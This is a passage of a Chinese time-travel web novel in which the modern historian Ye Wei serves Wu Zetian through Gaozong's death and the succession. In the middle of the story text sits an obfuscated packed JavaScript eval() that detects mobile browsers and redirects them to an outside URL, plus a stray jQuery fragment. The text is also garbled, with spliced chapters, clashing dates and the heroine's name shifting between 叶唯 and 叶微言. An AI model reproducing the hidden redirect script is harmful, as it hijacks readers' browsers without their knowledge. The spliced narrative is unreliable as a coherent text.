叶唯站在洛阳宫的最高处——天枢的基座上。
天枢是武则天计划建造的一座巨型铜柱，用来铭刻武周王朝的文治武功。它还没有开始建造——那将是二十年后的事。叶唯此刻站立的，只是天枢未来基座的预定位置，一处尚未动工的荒地。
但她喜欢来这里。
这里能看到整个洛阳城的全貌——宫城的红墙黄瓦、皇城的青灰色屋脊、外郭城的坊市街巷、远处的龙门山色。每一次站在这里，她都会想起一千多年后，她站在北京大学的资料室里，对着洛阳城的考古平面图做研究的情景。
那时候的她，觉得自己离历史很近。
现在她才知道，真正的“近”，不是隔着时间的距离去理解，而是身处其中去经历。
“叶姐姐！”
谢小蛮的声音从下面传来。叶唯低头，看到谢小蛮和上官婉儿一起站在基座下方，正仰头看着她。
谢小蛮已经三十出头了，嫁了人，生了孩子，但依然在宫中任职。她的丈夫是禁军的一个中级军官，老实本分，对她极好。谢小蛮常说，她这辈子最大的幸运，就是嫁了一个不会让她操心的男人。
上官婉儿二十三岁了。她已经从一个瘦弱的小女孩，长成了一个风姿绰约的年轻女子。她的才华在宫中无人能及——诗词歌赋、经史子集、政治谋略，样样精通。武则天对她极为器重，让她参与机要文书的起草，实际上已经把她当成了“内相”来培养。
叶唯和婉儿之间的关系，十八年来经历了一个复杂的变化。最初，叶唯是“前辈”，婉儿是“后辈”。后来，婉儿逐渐成长，两人的关系变成了“同事”和“对手”。她们互相欣赏对方的才华，但也互相提防对方的野心。
“叶姐姐，你下来！”谢小蛮喊道，“皇后娘娘召见！”
叶唯从天枢基座上下来，拍了拍身上的尘土，跟着谢小蛮和婉儿朝宫城的方向走去。
“你知道是什么事吗？”叶唯问婉儿。
婉儿微微摇头：“不知道。但今天早朝，陛下又晕倒了。太医说，陛下的身体怕是撑不了太久了。”
叶唯的心微微一沉。
高宗的身体每况愈下，这是所有人都知道的事。但“撑不了太久”这几个字，意味着帝国的权力格局将迎来一次剧烈的震荡。
太子李贤。
她脑海中浮现出这个名字。
李贤，武则天的次子，仪凤元年（676年）被立为太子。他才华横溢，性格刚毅，在朝中颇有威望。但他与武则天的关系极为微妙——他既依赖母亲的权势，又不满母亲的专权。朝中那些反对武则天的人，渐渐聚集到了李贤周围。
———
武则天的寝殿内，气氛凝重。
高宗躺在内殿的病榻上，武则天坐在外殿的胡床上，面前摊着一份奏章。她的脸色很不好，不是因为疲惫，而是因为愤怒——叶唯在她身边近二十年，从未见过她这个样子。
“你看看这个。”武则天将奏章扔给叶唯。
叶唯接过奏章，展开一看，瞳孔骤然收缩。
这是一份弹劾太子李贤的奏章，弹劾的内容是——李贤“耽于声色，不务正业”，在东宫中豢养了一批男宠，日夜淫乐，有失储君体统。
弹劾人是——明崇俨。
明崇俨，正谏大夫，以法术和医术闻名于朝。他深受高宗和武则天的信任，经常出入宫禁，为皇帝和皇后治病、占卜。他也是武则天在朝中的重要耳目之一。
叶唯知道这个人。史书上记载，明崇俨曾在武则天面前说“太子贤不堪承继大统”，后来被刺杀，武则天怀疑是李贤所为，成为废太子的导火索。
“娘娘，”叶唯放下奏章，“这份弹劾，臣以为不宜公开。”
“为什么？”
“因为弹劾的内容太私密了。”叶唯斟酌着措辞，“‘耽于声色’、‘豢养男宠’——这些话传出去，太子的名声就毁了。但如果没有确凿的证据，朝中会有人说这是诬陷。”
“明崇俨不会诬陷人。”武则天说。
“臣不是说明大人诬陷。”叶唯说，“臣只是说，这件事要办，就要办得漂漂亮亮，不能给人留下把柄。”
武则天沉默了片刻。
“你有什么建议？”
“先查。”叶唯说，“暗中查。查清楚了，证据确凿了，再动手。如果查不清楚，就暂时不动。太子的地位关系到国本，不能草率。”
武则天盯着她看了很久。
“你知道本宫在想什么吗？”她忽然问。
叶唯摇头。
“本宫在想，”武则天的声音很轻，“你是不是又在‘等’。”
叶唯的手指微微收紧。
“臣只是——”
“本宫知道。”武则天打断了她，“你是为大局着想。但你知道吗，有时候‘等’也是要付出代价的。你在等长孙无忌犯错，等了三年。你在等上官仪动手，等了一个月。这一次，你要等多久？等李贤真的起兵造反，再来收拾残局？”
叶唯沉默了。
她知道武则天说得对。她知道李贤最终会被废，会被流放，会被逼自尽。她知道这一切都会按照史书的记载发生。但她不知道的是——她应该推动这件事发生，还是阻止这件事发生？
如果她推动，她就是武则天废子的帮凶。如果她阻止，她就是在改变历史。
她陷入了一种前所未有的矛盾之中。
“娘娘，”她最终说，“给臣一个月的时间。臣会查清楚一切。”
武则天盯着她看了很久，最终点了点头。
“一个月。”她说，“一个月后，本宫要答案。”
叶唯躬身行礼，退出寝殿。
她站在廊下，看着远处的天空，深深地吸了一口气。
一个月。
她要用这一个月的时间，做一件她从未做过的事——亲自调查当朝太子。
这个任务，比她在北大写的任何一篇论文都难。显庆五年的冬天，比往年来得更早，也更冷。
十月刚过，洛阳就落下了第一场雪。雪花纷纷扬扬地飘了三天三夜，将整座宫城覆盖在一片苍茫的白色之中。含元殿的屋脊上积了尺许厚的雪，压得鸱吻仿佛随时都要断裂。宫人们缩着脖子在廊下匆匆走过，呵出的白气在空气中凝成一团团雾。
没有人说话。
没有人敢说话。
皇帝的风疾越来越重了。
这个消息像一阵无声的风，在宫城的每一个角落里蔓延。没有人公开谈论，但每个人都知道——高宗的病情已经恶化到了无可挽回的地步。太医署的人昼夜不停地守在寝殿外，一拨人进去，一拨人出来，每个人的脸色都比前一天更加难看。
叶唯站在贞观殿外的廊下，手中捧着一份早已拟好的诏书草稿。这份草稿她已经修改了七遍，每一遍都根据武则天的新指示进行调整。她知道这份诏书最终会写什么——太子李显即位，武则天“军国大事有不决者，兼取天后进止”。
这是武则天为自己争取到的最后一道护身符。
“叶直学士。”
一个低沉的声音从身后传来。叶唯转过身，看到裴居道站在廊道的拐角处，穿着一件黑色的斗篷，斗篷上落满了雪花。他的脸色比平时更加苍白，眼眶下有一圈深深的青黑，显然已经很多天没有睡好了。
“裴侍郎。”叶唯微微颔首。
裴居道走到她身边，与她并肩站在廊下，目光望向贞观殿紧闭的大门。
“里面情况如何？”他低声问。
“不好。”叶唯的声音也很低，“太医说，恐怕就在这一两天了。”
裴居道沉默了片刻。
“太子那边，”他说，“已经准备好了。”
叶唯的心微微一沉。
太子李显，武则天的第三个儿子，李贤被废后于开耀元年被立为太子。他性格懦弱，远不如李贤有才干，但正因为懦弱，他才被武则天选中——一个懦弱的皇帝，更容易被控制。
“裴侍郎，”叶唯转过头看着裴居道，“你觉得，太子即位之后，会听话吗？”
裴居道盯着她看了几秒，嘴角微微弯了一下，那笑容中带着一丝说不清道不明的意味。
“听话？”他重复了一遍这个词，“叶直学士，你跟了皇后娘娘这么多年，难道还不明白吗？这个世界上，没有人是真正‘听话’的。每一个人都有自己的算盘。太子殿下也许现在听话，但坐上那个位子之后——谁知道呢？”
叶唯没有说话。
“我听说，”裴居道的声音压得更低了，“太子妃韦氏是个很有主意的人。她已经在暗中联络朝中的一些大臣，为太子即位后的布局做准备。”
叶唯的手指微微收紧。
韦氏。李显的皇后，后来的韦太后。在正史中，她是一个野心勃勃、心狠手辣的女人——李显被废后，她跟着丈夫流放房州十四年；李显复位后，她干预朝政，与武三思等人勾结，最终被李隆基所杀。
但现在，她还只是一个即将成为皇后的女人，一个对未来充满憧憬和野心的女人。
“裴侍郎，”叶唯的声音很轻，“你跟我说这些，不怕我告诉皇后娘娘？”
裴居道笑了。
“你会吗？”
叶唯沉默了片刻。
“不会。”
“为什么？”
“因为你说这些，本来就是为了让我告诉皇后娘娘。”叶唯直视着他的眼睛，“你不想自己去说，因为你不想让娘娘觉得你在挑拨离间。你想借我的嘴，把这些话说给娘娘听。”
裴居道的笑容僵了一瞬，然后他摇了摇头，发出一声低低的叹息。
“叶直学士，”他说，“你太聪明了。聪明得让人害怕。”
“我不是聪明，”叶唯说，“我只是跟了娘娘太久，知道这宫里的每一个人都在想什么。”
裴居道盯着她看了很久，然后拱手行礼。
“那就拜托叶直学士了。”他说，“太子妃的事，娘娘应该知道。”
他转身离去，黑色的斗篷在风雪中猎猎作响。
叶唯站在原地，看着他的背影消失在廊道的尽头，心中涌起一种复杂的情绪。
裴居道——这个人到底是敌是友，她至今没有完全搞清楚。他有时像盟友，有时像对手，有时像在试探她，有时又像是在保护她。
也许，在这宫里，每一个人都是复杂的。没有纯粹的好人，也没有纯粹的坏人。只有立场不同、利益不同、选择不同的人。
※※※
武则天坐在高宗的病榻边，握着他的手。
那双手曾经握过天下，批过奏章，写过诏书，指点过江山。如今，它们枯瘦如柴，青筋暴起，指甲发黄，像两片快要掉落的枯叶。
“媚娘。”
高宗的声音很微弱，像风中的残烛。
“陛下，臣妾在。”武则天俯下身，凑近他的耳边。
“朕……怕是撑不了多久了。”
“陛下别说这种话。”武则天的手微微收紧，“太医说了，陛下的病只要好好调养——”
“媚娘。”高宗打断了她，“朕知道自己的身体。”
武则天沉默了。
高宗睁开眼睛，看着她。那双眼睛已经浑浊了，失去了年轻时的清澈和锐利，但里面依然有一种东西——一种只有他们两人才懂的东西。
“媚娘，朕这辈子，最对不起的人就是你。”
武则天的手指微微一顿。
“陛下没有什么对不起臣妾的。”
“有的。”高宗的声音很轻，“朕把你从感业寺接回来的时候，答应过你，要好好待你。可是朕……”
他咳嗽了几声，喘了好一会儿才缓过来。
“可是朕没能保护好你。朝中那些人，一直在针对你。朕知道，但朕没有能力保护你。”
武则天的眼眶微微泛红。
“陛下，臣妾不需要保护。”她的声音有些发涩，“臣妾自己能保护自己。”
高宗看着她，嘴角微微弯了一下。
“朕知道。”他说，“你是朕见过的最强的人。比朕强。”
武则天没有说话。
“媚娘，答应朕一件事。”
“陛下请讲。”
“朕死后，”高宗的声音越来越微弱，“你要照顾好显儿。他虽然不成器，但他是朕的儿子。”
武则天沉默了片刻。
“臣妾会的。”
高宗点了点头，闭上眼睛。
“朕累了，”他说，“想睡一会儿。”
“陛下睡吧。”武则天替他掖好被角，“臣妾在这里守着。”
高宗很快就睡着了。呼吸微弱而平稳，脸上没有痛苦，也没有安宁——只有一种深深的疲惫。
武则天坐在床边，看着他的脸。
这张脸，她看了三十四年。
从贞观十七年第一次在感业寺见到他，到如今他躺在病榻上奄奄一息。三十四年，她从一个小小的才人，变成了权倾朝野的皇后。他从一个意气风发的太子，变成了一个垂死的老人。
时间，是最无情的刀。
它割走了青春，割走了健康，割走了生命，只留下回忆。
“媚娘，”高宗在睡梦中喃喃道，“不要走……”
武则天握紧他的手。
“臣妾不走。”她轻声说，“臣妾哪儿也不去。”
窗外的雪越下越大。
殿内的炭火烧得很旺，发出噼噼啪啪的声响。
武则天坐在那里，一动不动。
她知道，这个人，快要走了。
她生命中最重要的人之一，快要走了。
她应该哭。
但她哭不出来。
※※※
当天夜里，高宗驾崩了。
叶唯不在现场。当她赶到贞观殿时，殿外已经跪满了人——太子李显、宰相们、妃嫔们、内侍们、宫女们，黑压压的一片，哭声震天。
她穿过人群，走进殿内。
殿内的光线很暗，只有几盏铜灯在燃烧，照亮了高宗病榻周围的一小片区域。武则天坐在榻边，握着高宗已经冰冷的手，面色平静得可怕。她没有哭，没有说话，只是静静地坐在那里，像一尊石像。
叶唯从未见过这样的武则天。
她见过武则天愤怒、威严、疲惫、脆弱，但从未见过她这样——像一座被掏空了内核的山，外表依然巍峨，内部已经空了。
“娘娘。”叶唯轻声唤道。
武则天没有反应。
“娘娘。”叶唯又唤了一声，声音大了一些。
武则天的眼珠微微动了一下，然后缓缓转过头来，看着叶唯。
那双眼睛里没有泪，没有悲伤，只有一种叶唯从未见过的空洞。
“他走了。”武则天的声音很轻，轻得像一片落叶，“他说了一句话，你猜是什么？”
叶唯摇头。
“他说，‘媚娘，朕这辈子，最对不起的人就是你。’”武则天的嘴角微微弯了一下，那不是笑，而是一种说不清道不明的表情，“他这辈子，做了那么多对不起我的事，临死之前才想起来说对不起。”
叶唯没有说话。
“你说，”武则天看着叶唯，“他是真心的吗？还是只是人之将死，其言也善？”
叶唯沉默了很久。
“臣不知道。”她最终说，“但臣觉得，不管是不是真心，这句话对娘娘来说，已经不重要了。”
“不重要？”
“因为陛下已经不在了。”叶唯说，“娘娘要面对的，不是过去，而是未来。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486869|202063||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
武则天盯着她看了很久，然后缓缓点了点头。
“你说得对。”她松开高宗的手，站起身，整了整衣冠，恢复了往日的威严，“未来。这才是本宫该想的事。”
她走到殿门口，看着外面跪了一地的人群，声音不大，但每一个字都清清楚楚：
“陛下驾崩。太子即位。本宫——以皇太后身份，临朝称制。”
殿外的人群齐声高呼：“皇太后千岁！”
叶唯站在殿内，看着武则天的背影。
那个背影在烛光中拉得很长，像一座山，压在这座宫城之上。
※※※
深夜。
裴居道坐在大理寺的值房里，面前摊着一份刚刚写好的密奏。
密奏的内容很简单——叶微言的身份调查结果。
但他迟迟没有落笔署名。
他知道这份密奏一旦呈上去，会有两种结果。
第一种：皇后娘娘震怒，下令彻查叶微言的来历。叶微言被处死，或者被驱逐出宫。他是功臣，升官发财，前途无量。
第二种：皇后娘娘早就知道叶微言的来历，他的密奏是多余的。皇后娘娘觉得他多事，觉得他不够忠心，从此疏远他。他是罪人，被打入冷宫，前途尽毁。
他不知道会是哪一种。
但他必须赌。
因为他是裴居道。他活到今天，靠的不是运气，不是站队，而是——他从来不对皇后娘娘撒谎。
他拿起笔，在密奏上署了名。
然后他站起身，穿上斗篷，推开房门，朝武则天的寝殿走去。
雪还在下。
落在他的斗篷上，落在他的脸上，落在他的睫毛上。
他没有擦。
他要让皇后娘娘看到——他是冒着大雪来送密奏的。他不是在邀功，他是在尽忠。
走到寝殿门口，他被内侍拦住了。
“裴侍郎，太后已经歇下了。”
“我有急事。”裴居道举起手中的密奏，“需要立刻呈给太后。”
内侍犹豫了一下，接过密奏，转身走进殿内。
裴居道站在殿外，等着。
雪越下越大。
他的斗篷上落满了雪，他的眉毛上结了一层霜。
但他一动不动。
半个时辰后，内侍出来了。
“太后说，”内侍的声音很轻，“她知道了。让你回去。”
裴居道的心猛地一缩。
她知道了。
这三个字，是什么意思？
她知道叶微言的来历了？还是她知道他呈了密奏？还是——她早就知道一切，只是不想说？
他不知道。
“是。”他躬身行礼，转身离去。
走出几步，他忽然停下来。
他回过头，看着武则天寝殿的窗户。
窗户里透出昏黄的灯光。
灯下，有一个女人的影子。
那个影子坐在窗前，一动不动。
裴居道看了很久。
然后他转过身，走进了风雪中。
※※※
谢小蛮跪在贞观殿外的雪地里，已经跪了整整一个时辰。
她的膝盖冻得发紫，手指冻得僵硬，脸上没有一丝血色。
但她不敢动。
皇帝驾崩了，太后要所有人跪在这里守夜。没有人敢违抗。
“小蛮。”
一个熟悉的声音从身后传来。谢小蛮转过头，看到叶唯站在她身后，手中端着一碗热汤。
“叶姐姐？”谢小蛮愣住了，“你怎么来了？”
“给你送汤。”叶唯蹲下来，把汤碗递给她，“趁热喝。”
谢小蛮接过碗，双手捧着。碗很烫，烫得她手指发疼，但她舍不得放下。这是她今晚唯一的温暖。
“叶姐姐，你不怕被太后看到？”她压低声音。
“太后不会怪我的。”叶唯在她身边蹲下来，“她知道我来干什么。”
谢小蛮喝了一口汤，滚烫的汤汁从喉咙滑下去，整个人像是被激活了一样。
“叶姐姐，”她的声音有些发涩，“你说，陛下真的死了吗？”
“真的。”
“那……太后会不会很难过？”
叶唯沉默了片刻。
“会的。”她说，“但她不会让人看到。”
“为什么？”
“因为她是太后。”叶唯的声音很轻，“太后不能哭。”
谢小蛮看着叶唯，眼眶红了。
“叶姐姐，那我替她哭。”
她低下头，眼泪掉进了汤碗里。
叶唯伸出手，轻轻拍了拍她的肩膀。
“好。”她说，“你替她哭。”
雪还在下。
谢小蛮跪在雪地里，一边喝汤，一边流泪。
她不知道自己为什么哭。
也许是为了皇帝，也许是为了太后，也许是为了叶唯，也许是为了她自己。
也许，只是为了这世上所有不能哭的人。
※※※
嗣圣元年正月初一，洛阳宫。
武则天坐在乾元殿的御座上，面前摊着高宗留下的遗诏。
遗诏是她亲手起草的，高宗亲手签署的。每一个字她都认识，每一句话她都记得。
但她还是看了一遍又一遍。
“太子显即位。军国大事有不决者，兼取天后进止。”
兼取天后进止。
这八个字，是她为自己争取到的。
从今以后，她不再是“皇后”，而是“天后”。不是“母后”，而是“天后”。一个与皇帝并列的称号。
但这不够。
她知道这不够。
她要的，不只是“与皇帝并列”。
她要的是——超越皇帝。
“太后，”内侍的声音从殿外传来，“百官已经到齐了。”
武则天站起身，整了整衣冠，走向殿门。
殿门打开，阳光照进来，刺目而温暖。
她走出殿门，站在台阶上，看着殿外跪了一地的百官。
“嗣圣元年，正月初一，”她的声音不大，但每一个字都清晰可闻，“皇帝即位。本宫以皇太后身份，临朝称制。”
百官齐声高呼：“皇太后千岁！”
武则天站在那里面色冷峻平静如水。
但她的心中，有一个声音在说——
还不够。
远远不够。
※※※
婉儿一个人坐在书库里，面前摊着一部从未见过的书卷。
书卷的封面上写着四个字——《玄女问政》。
她不知道这部书是从哪里来的。今天整理书库的时候，它突然出现在书架上。之前从来没有见过。
她翻开书卷，看了几页，手指微微颤抖起来。
书中的内容，与叶微言曾经跟她讲过的许多道理惊人地相似。
关于权力的本质，关于朝堂的规则，关于人心的把握——这些叶微言说过的话，都出现在这部书里。
更让婉儿震惊的是，书卷最后一页上，写着一行小字：
“大周某年某月，秘书省叶微言录。”
叶微言。
大周？
婉儿盯着那行字，心中涌起一种说不清的恐惧。
大周——这个年号，从未出现过。现在是嗣圣元年，是大唐，不是大周。
叶微言为什么写“大周”？
她是什么人？
她从哪里来？
婉儿合上书卷，把它藏在了书架最深处。
她决定不告诉任何人。
至少，现在不告诉。
因为她想知道答案。
而答案，只能由叶微言自己告诉她。